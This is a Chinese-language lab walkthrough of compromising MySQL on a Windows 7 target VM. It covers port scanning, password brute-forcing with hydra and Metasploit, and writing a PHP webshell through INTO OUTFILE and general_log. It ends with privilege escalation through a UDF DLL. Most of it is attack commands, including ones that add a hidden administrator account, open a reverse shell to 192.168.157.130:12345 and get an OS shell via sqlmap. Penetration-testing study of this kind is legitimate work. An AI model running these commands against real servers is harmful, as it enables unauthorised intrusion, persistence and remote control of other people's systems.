环境搭建

win7的靶机(ip:192.168.153.132) + phpstudy搭建

  1. 将mysql设置为可以远程连接:

    在mysql库中,有一个user表,通过select host,user from user;来查看登陆的host

    将root用户改为任意的ip都可以登陆update user set host='%' where user='root';

    image-20220414152810786

获取权限

数据库操纵权限获取

mysql弱口令爆破

先使用nmap进行探测3306端口是否开放

nmap -sV 192.168.153.132: -sV通过开放的端口探测服务信息

image-20220414145050225

开放了3306端口

通过hydra爆破

image-20220414153605632

通过msf爆破
  1. msfconsole
  2. search mysql
  3. use xxx
  4. show options
  5. set xx xx
  6. run
    image-20220414154144987

其他方法

通过sqlmap注入的–sql-shell模式

image-20220414162713517

shell权限获取

写入shell需要具有写权限

into outfile

如果load_file()可用即secure_file_priv无限制,且具有写权限

secure_file_priv的值:

Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:

select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

sqlmap 中可以如下操作:

sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

通过日志写shell

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

win7靶机有一个phpmyadmin目录

image-20220414170646225

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

首先开启general_log:

set global general_log=’on’;

image-20220414171127428

之后shell就成功写入了

image-20220414171321400

提权

上面已经通过了日志写shell得到了shell权限,现在就需要提升权限了

UDF提权

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展 MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便 实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便

手工提权

动态链接库

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数

使用msf工具的动态链接库

image-20220414182447884

放入plugin目录之后

创建命令执行函数

create function sys_eval returns string soname “lib_mysqludf_sys.dll”;

函数介绍:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。(但是不会有回显)

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。 一般用于创建新用户维持权限

命令:

create function cmdshell returns string soname ‘moonudf.dll’ 【创建cmdshell】

select cmdshell(‘net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add’) 【添加超级管理员】

select cmdshell(‘net user’) 【查看用户】

select cmdshell(‘netstat -an’) 【查看端口】

select name from mysql.func 【查看创建函数】

delete from mysql.func where name=’cmdshell’ 【删除cmdshell】

create function backshell returns string soname ‘moonudf.dll’ 【创建反弹函数】

select backshell(‘192.168.157.130’,12345) 【执行反弹】

delete from mysql.func where name=’backshell’ 【删除backshell】

寻找plugin目录

如果不存在,在mysql目录下新建lib/plugin文件夹

工具提权

sqlmap提权

secure_file_priv需要为空,不能为null

sqlmap -d “mysql://root:root@192.168.153.132:3306/mysql” –os-shell

msf提权

适合5.5.9以下版本